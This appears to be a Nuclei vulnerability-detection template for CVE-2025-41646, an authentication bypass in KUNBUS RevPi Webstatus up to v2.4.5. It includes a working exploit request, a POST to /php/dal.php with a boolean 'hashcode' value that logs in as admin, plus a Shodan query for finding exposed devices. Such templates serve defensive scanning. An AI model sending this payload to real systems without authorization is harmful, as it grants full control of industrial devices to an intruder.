id: CVE-2025-41646

info:
  name: RevPi Webstatus <= v2.4.5 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device
  impact: |
    Unauthenticated attackers can bypass authentication through incorrect type conversion in the login mechanism, achieving complete device compromise.
  remediation: |
    Upgrade RevPi Webstatus to version 2.4.6 or later that properly validates authentication credentials.
  reference:
    - https://psirt.kunbus.com/.well-known/csaf/white/2025/kunbus-2025-0000003.json
    - https://x.com/win3zz/status/1940397684176904607
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41646
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-41646
    cwe-id: CWE-704
    epss-score: 0.43286
    epss-percentile: 0.98599
    cpe: cpe:2.3:a:kunbus:revpi_status:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunbus
    product: revpi_status
    shodan-query: title:"RevPi"
  tags: cve,cve2025,kunbus,revpi-status,auth-bypass,revpi,vkev,vuln

http:
  - raw:
      - |
        POST /php/dal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mode":"LOGIN","username":"admin","hashcode":true}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"status":"SUCCESS"'
          - '"sessionId":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b530dece3976560b2ef0ef8bfe64fc176e4e1ebecd49ec65568729af61ef4ea3022100fd2cc3f91d7dfd5e0bd84dcd305445e84cc7f4cc41c4cc5999a9de44e6d84f76:922c64590222798bb761d5b6d8e72950